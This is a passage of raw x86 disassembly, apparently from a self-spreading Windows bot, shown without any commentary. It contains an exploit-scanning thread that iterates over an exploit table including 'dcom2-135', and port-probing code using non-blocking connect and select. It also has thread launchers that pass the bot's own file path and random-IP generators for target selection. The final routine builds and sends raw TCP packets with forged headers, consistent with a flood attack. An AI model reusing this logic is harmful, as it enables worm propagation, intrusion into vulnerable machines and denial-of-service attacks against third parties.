[ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_409A4A mov esi, [ebp+arg_0] jmp short loc_409A12 ; --------------------------------------------------------------------------- loc_409A01: ; CODE XREF: sub_4099B6+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_409ADE mov esi, [ebp+arg_0] dec esi loc_409A12: ; CODE XREF: sub_4099B6+49j pop ecx pop ecx loc_409A14: ; CODE XREF: sub_4099B6+33j inc esi mov [ebp+arg_0], esi loc_409A18: ; CODE XREF: sub_4099B6+Aj mov cl, [esi] test cl, cl jnz short loc_4099C2 jmp short loc_409A29 ; --------------------------------------------------------------------------- loc_409A20: ; CODE XREF: sub_4099B6+76j cmp eax, 1 jnz short loc_409A45 inc esi mov [ebp+arg_0], esi loc_409A29: ; CODE XREF: sub_4099B6+Fj ; sub_4099B6+18j ... cmp byte ptr [esi], 2Ah jz short loc_409A20 cmp eax, 1 jnz short loc_409A45 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_409A45 cmp byte ptr [esi], 0 jnz short loc_409A45 xor eax, eax inc eax jmp short loc_409A47 ; --------------------------------------------------------------------------- loc_409A45: ; CODE XREF: sub_4099B6+6Dj ; sub_4099B6+7Bj ... xor eax, eax loc_409A47: ; CODE XREF: sub_4099B6+8Dj pop esi pop ebp retn sub_4099B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A4A proc near ; CODE XREF: sub_4099B6+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_409A6B inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_409A6B: ; CODE XREF: sub_409A4A+19j push ebx push esi loc_409A6D: ; CODE XREF: sub_409A4A+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_409A7B cmp [ebp+var_4], eax jnz short loc_409AC3 loc_409A7B: ; CODE XREF: sub_409A4A+2Aj test edi, edi jnz short loc_409AB8 cmp bl, 2Dh jnz short loc_409AAC lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_409AAC cmp al, 5Dh jz short loc_409AAC cmp [ebp+var_4], edi jnz short loc_409AAC mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_409AB8 cmp bl, al jg short loc_409AB8 mov [edx], esi jmp short loc_409AB5 ; --------------------------------------------------------------------------- loc_409AAC: ; CODE XREF: sub_409A4A+38j ; sub_409A4A+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_409AB8 loc_409AB5: ; CODE XREF: sub_409A4A+60j xor edi, edi inc edi loc_409AB8: ; CODE XREF: sub_409A4A+33j ; sub_409A4A+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_409A6D ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_409A4A+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_409AD0 mov ecx, eax sub ecx, edi mov edi, ecx loc_409AD0: ; CODE XREF: sub_409A4A+7Ej cmp edi, eax jnz short loc_409AD9 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_409AD9: ; CODE XREF: sub_409A4A+88j mov eax, edi pop edi leave retn sub_409A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409ADE proc near ; CODE XREF: sub_4099B6+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_409B0E ; --------------------------------------------------------------------------- loc_409AF8: ; CODE XREF: sub_409ADE+36j mov dl, [eax] cmp dl, 3Fh jz short loc_409B09 cmp dl, 2Ah jnz short loc_409B1B cmp dl, 3Fh jnz short loc_409B0C loc_409B09: ; CODE XREF: sub_409ADE+1Fj inc ecx mov [edi], ecx loc_409B0C: ; CODE XREF: sub_409ADE+29j inc dword ptr [esi] loc_409B0E: ; CODE XREF: sub_409ADE+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_409AF8 jmp short loc_409B1B ; --------------------------------------------------------------------------- loc_409B18: ; CODE XREF: sub_409ADE+40j inc eax mov [esi], eax loc_409B1B: ; CODE XREF: sub_409ADE+24j ; sub_409ADE+38j cmp byte ptr [eax], 2Ah jz short loc_409B18 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_409B3D cmp [eax], bl jz short loc_409B30 xor eax, eax jmp short loc_409B9A ; --------------------------------------------------------------------------- loc_409B30: ; CODE XREF: sub_409ADE+4Cj cmp dl, bl jnz short loc_409B3D cmp [eax], bl jnz short loc_409B3D xor eax, eax inc eax jmp short loc_409B9A ; --------------------------------------------------------------------------- loc_409B3D: ; CODE XREF: sub_409ADE+48j ; sub_409ADE+54j ... push ecx push eax call sub_4099B6 pop ecx test eax, eax pop ecx jnz short loc_409B84 loc_409B4A: ; CODE XREF: sub_409ADE+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_409B5C ; --------------------------------------------------------------------------- loc_409B50: ; CODE XREF: sub_409ADE+86j cmp cl, 5Bh jz short loc_409B66 cmp dl, bl jz short loc_409B66 inc eax mov [edi], eax loc_409B5C: ; CODE XREF: sub_409ADE+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_409B50 loc_409B66: ; CODE XREF: sub_409ADE+75j ; sub_409ADE+79j cmp [eax], bl jz short loc_409B7B push eax push dword ptr [esi] call sub_4099B6 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_409B80 ; --------------------------------------------------------------------------- loc_409B7B: ; CODE XREF: sub_409ADE+8Aj mov [ebp+var_4], ebx xor eax, eax loc_409B80: ; CODE XREF: sub_409ADE+9Bj cmp eax, ebx jnz short loc_409B4A loc_409B84: ; CODE XREF: sub_409ADE+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_409B97 mov eax, [esi] cmp [eax], bl jnz short loc_409B97 mov [ebp+var_4], 1 loc_409B97: ; CODE XREF: sub_409ADE+AAj ; sub_409ADE+B0j mov eax, [ebp+var_4] loc_409B9A: ; CODE XREF: sub_409ADE+50j ; sub_409ADE+5Dj pop edi pop esi pop ebx leave retn sub_409ADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B9F proc near ; CODE XREF: sub_401C87+25DFp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_43F370 push eax xor ebx, ebx call sub_417CB0 cmp dword_43F068, ebx pop ecx pop ecx mov edi, 200h jz short loc_409C11 push esi mov esi, offset dword_43F070 loc_409BD2: ; CODE XREF: sub_409B9F+6Fj mov eax, [esi] test eax, eax jbe short loc_409C07 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_43F390 push eax call sub_417CB0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_419200 add esp, 1Ch loc_409C07: ; CODE XREF: sub_409B9F+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_409BD2 pop esi loc_409C11: ; CODE XREF: sub_409B9F+2Bj push dword_4D63A4 call sub_414606 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_417CB0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_419200 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_200] push eax call sub_40F927 add esp, 38h pop edi pop ebx leave retn sub_409B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6D proc near ; CODE XREF: sub_401C87+25CCp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4D9174 mov ecx, dword_4D9170 push esi push dword_4D63A4 lea esi, [ecx+eax] call sub_414606 push eax push esi push dword_4D9174 lea eax, [ebp+var_200] push dword_4D9170 push offset unk_43F3B0 push eax call sub_417CB0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_200] push eax call sub_40F927 add esp, 34h pop esi leave retn sub_409C6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CD8 proc near ; CODE XREF: sub_401C87+25B9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4D63A4 call sub_414606 push eax lea eax, [ebp+var_200] push dword_4D93A0 push offset unk_43F3F8 push eax call sub_417CB0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_200] push eax call sub_40F927 add esp, 2Ch leave retn sub_409CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D2C proc near ; CODE XREF: sub_401C87+25A6p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4181D0 push edi lea eax, [ebp+var_800] push offset dword_43F424 push eax call sub_417CB0 cmp dword_43F068, 0 pop ecx pop ecx mov edi, 800h jz short loc_409D98 push esi mov esi, offset aDcom2135_0 ; "Dcom2-135" loc_409D61: ; CODE XREF: sub_409D2C+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_43F440 push eax call sub_417CB0 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_419200 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_409D61 pop esi loc_409D98: ; CODE XREF: sub_409D2C+2Dj push dword_4D63A4 call sub_414606 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_417CB0 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_419200 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_800] push eax call sub_40F927 add esp, 34h pop edi leave retn sub_409D2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DF2 proc near ; DATA XREF: sub_401C87+1723o var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4D66A8 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_43F068, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_409F51 mov esi, offset dword_43F068 mov ebx, offset aDcom2135 ; "dcom2-135" loc_409E46: ; CODE XREF: sub_409DF2+159j push [ebp+var_1C] push dword ptr [esi] push [ebp+var_8] call sub_40A5E3 add esp, 0Ch cmp eax, 1 jnz loc_409F40 push dword ptr [esi] lea eax, [ebp+var_134] push eax lea eax, [ebx+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_43F460 push eax call sub_417CB0 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_40764A lea eax, [ebp+var_3F0] push eax call sub_40F927 lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_417CB0 lea eax, [ebp+var_15C] push ebx push eax call sub_417CB0 add esp, 3Ch cmp [ebp+var_A4], 0 lea eax, [ebp+var_A4] jnz short loc_409EDB lea eax, [ebp+var_124] loc_409EDB: ; CODE XREF: sub_409DF2+E1j push eax lea eax, [ebp+var_1DC] push eax call sub_417CB0 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [esi] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+2Ch] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_409F40: ; CODE XREF: sub_409DF2+67j inc [ebp+arg_0] add ebx, 40h lea esi, [ebx+28h] cmp [esi], edi jnz loc_409E46 loc_409F51: ; CODE XREF: sub_409DF2+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_43F490 push eax call sub_417CB0 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_40764A lea eax, [ebp+var_3F0] push eax call sub_40F927 push [ebp+var_18] call sub_409979 add esp, 2Ch push edi call dword_4E03A0 ; ExitThread sub_409DF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FA4 proc near ; CODE XREF: sub_401C87+1F05p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_4098A5 test eax, eax pop ecx jle short loc_409FE0 mov eax, [ebp+arg_C] push dword_4D67B8[eax*8] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_43F4C4 push eax call sub_417CB0 add esp, 0Ch jmp short loc_409FF3 ; --------------------------------------------------------------------------- loc_409FE0: ; CODE XREF: sub_409FA4+13j lea eax, [ebp+var_200] push offset unk_43F4E0 push eax call sub_417CB0 pop ecx pop ecx loc_409FF3: ; CODE XREF: sub_409FA4+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A lea eax, [ebp+var_200] push eax call sub_40F927 add esp, 18h leave retn sub_409FA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A01B proc near ; CODE XREF: sub_40AA63+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40A4FB shl eax, 6 xor ebx, ebx cmp dword_43F074[eax], ebx jz loc_40A4FB push 5 call sub_4098A5 test eax, eax pop ecx jnz loc_40A295 mov eax, dword_43707C push edi mov esi, offset dword_4D8874 push 104h push esi push ebx mov dword_4D8A84, eax mov dword_4D8A80, ebx call dword_4E0334 ; GetModuleFileNameA mov edi, offset byte_4370EC push 103h push edi push offset dword_4D8978 call sub_417760 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D8870, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4D8B08, eax jnz short loc_40A0CB lea eax, [ebp+arg_10] push eax push offset dword_4D8A88 call sub_417760 mov dword_4D8B0C, 1 jmp short loc_40A0E2 ; --------------------------------------------------------------------------- loc_40A0CB: ; CODE XREF: sub_40A01B+94j lea eax, [ebp+arg_90] push eax push offset dword_4D8A88 call sub_417760 mov dword_4D8B0C, ebx loc_40A0E2: ; CODE XREF: sub_40A01B+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D8A84 push offset unk_43F500 push eax call sub_417CB0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_409663 add esp, 1Ch mov dword_4D8A7C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D8870 push offset sub_40F3B8 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, dword_4D8A7C imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz loc_40A1E6 call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_43F534 push eax call sub_417CB0 add esp, 0Ch loc_40A160: ; CODE XREF: sub_40A01B+1D3j lea eax, [ebp+var_204] push eax call sub_40F927 mov eax, dword_4D63A0 mov esi, offset dword_4D8B1C mov [esp+210h+var_210], 104h push esi push ebx mov dword_4D8D2C, eax mov dword_4D8D28, ebx call dword_4E0334 ; GetModuleFileNameA push 103h push edi push offset dword_4D8C20 call sub_417760 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D8B18, eax mov eax, [ebp+arg_138] pop edi mov dword_4D8DB0, eax push 7Fh jnz short loc_40A1F3 lea eax, [ebp+arg_10] push eax push offset dword_4D8D30 call sub_417760 mov dword_4D8DB4, 1 jmp short loc_40A20A ; --------------------------------------------------------------------------- loc_40A1DE: ; CODE XREF: sub_40A01B+1D1j push 32h call dword_4E033C ; Sleep loc_40A1E6: ; CODE XREF: sub_40A01B+124j cmp dword_4D8B10, ebx jz short loc_40A1DE jmp loc_40A160 ; --------------------------------------------------------------------------- loc_40A1F3: ; CODE XREF: sub_40A01B+1A7j lea eax, [ebp+arg_90] push eax push offset dword_4D8D30 call sub_417760 mov dword_4D8DB4, ebx loc_40A20A: ; CODE XREF: sub_40A01B+1C1j add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D8D2C push offset unk_43F568 push eax call sub_417CB0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_409663 add esp, 1Ch mov dword_4D8D24, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D8B18 push offset sub_40D0F7 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, dword_4D8D24 imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz loc_40A30E call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_43F59C push eax call sub_417CB0 add esp, 0Ch loc_40A288: ; CODE XREF: sub_40A01B+2FBj lea eax, [ebp+var_204] push eax call sub_40F927 pop ecx loc_40A295: ; CODE XREF: sub_40A01B+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43F07C[ecx], ebx jz loc_40A3C2 push 7 call sub_4098A5 test eax, eax pop ecx jnz loc_40A3BC mov eax, dword_4D939C cmp [ebp+arg_90], bl mov dword_4D87DC, eax mov eax, [ebp+arg_110] mov dword_4D87D0, eax mov eax, [ebp+arg_138] mov dword_4D87D8, ebx mov dword_4D8860, eax push 7Fh jnz short loc_40A31B lea eax, [ebp+arg_10] push eax push offset dword_4D87E0 call sub_417760 mov dword_4D8864, 1 jmp short loc_40A332 ; --------------------------------------------------------------------------- loc_40A306: ; CODE XREF: sub_40A01B+2F9j push 32h call dword_4E033C ; Sleep loc_40A30E: ; CODE XREF: sub_40A01B+24Cj cmp dword_4D8DB8, ebx jz short loc_40A306 jmp loc_40A288 ; --------------------------------------------------------------------------- loc_40A31B: ; CODE XREF: sub_40A01B+2CFj lea eax, [ebp+arg_90] push eax push offset dword_4D87E0 call sub_417760 mov dword_4D8864, ebx loc_40A332: ; CODE XREF: sub_40A01B+2E9j add esp, 0Ch lea eax, [ebp+var_204] push dword_4D87DC push offset unk_43F5D0 push eax call sub_417CB0 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_409663 add esp, 18h mov dword_4D87D4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D87D0 push offset sub_40CE55 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, dword_4D87D4 imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz loc_40A4B4 call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_43F600 push eax call sub_417CB0 add esp, 0Ch loc_40A3AF: ; CODE XREF: sub_40A01B+4A1j lea eax, [ebp+var_204] push eax call sub_40F927 pop ecx loc_40A3BC: ; CODE XREF: sub_40A01B+29Bj mov eax, [ebp+arg_130] loc_40A3C2: ; CODE XREF: sub_40A01B+28Bj shl eax, 6 cmp dword_43F078[eax], ebx jz loc_40A4FB push 3 call sub_4098A5 test eax, eax pop ecx jnz loc_40A4FB mov esi, offset dword_4D904C push 104h push esi push ebx call dword_4E0334 ; GetModuleFileNameA push 5Ch push esi call sub_418800 pop ecx cmp eax, ebx pop ecx jz short loc_40A403 mov [eax], bl loc_40A403: ; CODE XREF: sub_40A01B+3E4j mov eax, dword_437080 mov dword_4D9164, ebx mov dword_4D9150, eax lea eax, [ebp+arg_10] push eax push offset dword_4D8DC4 call sub_417CB0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4D8DC0, eax mov ecx, [ebp+arg_138] push esi push dword_4D9150 mov dword_4D915C, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4D9160, ecx call sub_408882 pop ecx push eax lea eax, [ebp+var_204] push offset unk_43F638 push eax call sub_417CB0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_409663 add esp, 20h mov dword_4D9158, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D8DC0 push offset sub_40D826 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, dword_4D9158 imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jz short loc_40A4D3 jmp short loc_40A4C9 ; --------------------------------------------------------------------------- loc_40A4AC: ; CODE XREF: sub_40A01B+49Fj push 32h call dword_4E033C ; Sleep loc_40A4B4: ; CODE XREF: sub_40A01B+373j cmp dword_4D8868, ebx jz short loc_40A4AC jmp loc_40A3AF ; --------------------------------------------------------------------------- loc_40A4C1: ; CODE XREF: sub_40A01B+4B4j push 32h call dword_4E033C ; Sleep loc_40A4C9: ; CODE XREF: sub_40A01B+48Fj cmp dword_4D916C, ebx jz short loc_40A4C1 jmp short loc_40A4EE ; --------------------------------------------------------------------------- loc_40A4D3: ; CODE XREF: sub_40A01B+48Dj call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_43F674 push eax call sub_417CB0 add esp, 0Ch loc_40A4EE: ; CODE XREF: sub_40A01B+4B6j lea eax, [ebp+var_204] push eax call sub_40F927 pop ecx loc_40A4FB: ; CODE XREF: sub_40A01B+14j ; sub_40A01B+25j ... pop esi pop ebx leave retn sub_40A01B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4FF proc near ; CODE XREF: sub_40A84F:loc_40A8B1p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4D67B8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_419330 add esp, 0Ch push [ebp+arg_0] call dword_4D6590 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4D6664 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_419330 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40A4FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A547 proc near ; CODE XREF: sub_40A84F+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_414EC0 cmp eax, 0Fh pop ecx jbe short loc_40A56F xor eax, eax jmp short loc_40A5E0 ; --------------------------------------------------------------------------- loc_40A56F: ; CODE XREF: sub_40A547+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_419670 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40A59C call sub_417DC0 mov [ebp+var_C], eax loc_40A59C: ; CODE XREF: sub_40A547+4Bj cmp [ebp+var_8], esi jnz short loc_40A5A9 call sub_417DC0 mov [ebp+var_8], eax loc_40A5A9: ; CODE XREF: sub_40A547+58j cmp [ebp+var_4], esi jnz short loc_40A5B6 call sub_417DC0 mov [ebp+var_4], eax loc_40A5B6: ; CODE XREF: sub_40A547+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40A5C2 call sub_417DC0 loc_40A5C2: ; CODE XREF: sub_40A547+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4D67B8[ecx*8], eax loc_40A5E0: ; CODE XREF: sub_40A547+26j pop esi leave retn sub_40A547 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5E3 proc near ; CODE XREF: sub_409DF2+5Cp ; sub_40A84F+A9p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_4D66E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40A60C xor eax, eax jmp short loc_40A67B ; --------------------------------------------------------------------------- loc_40A60C: ; CODE XREF: sub_40A5E3+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4D6668 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4D6704 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4D6610 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4D6650 ; select push esi mov edi, eax call dword_4D6700 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40A67B: ; CODE XREF: sub_40A5E3+27j pop edi pop esi pop ebx leave retn sub_40A5E3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_4181D0 push ebx push esi push edi mov edi, 2649h push edi call dword_4D6668 ; ntohs push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_4D6668 ; ntohs mov [ebp-26h], ax call sub_417DC0 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_4D6668 ; ntohs mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_4D6668 ; ntohs mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_419330 lea eax, [ebp-58h] push 20h push eax call sub_4088DB mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_417700 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_4D6668 ; ntohs push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4D66E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40A77F push offset aSocketOpenFail ; "socket open failed" jmp loc_40A842 ; --------------------------------------------------------------------------- loc_40A77F: ; CODE XREF: .data:0040A773j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4D66CC ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_40A7C8 call dword_4D65FC ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_417CB0 lea eax, [ebp-0D8h] push eax call sub_40F927 add esp, 14h 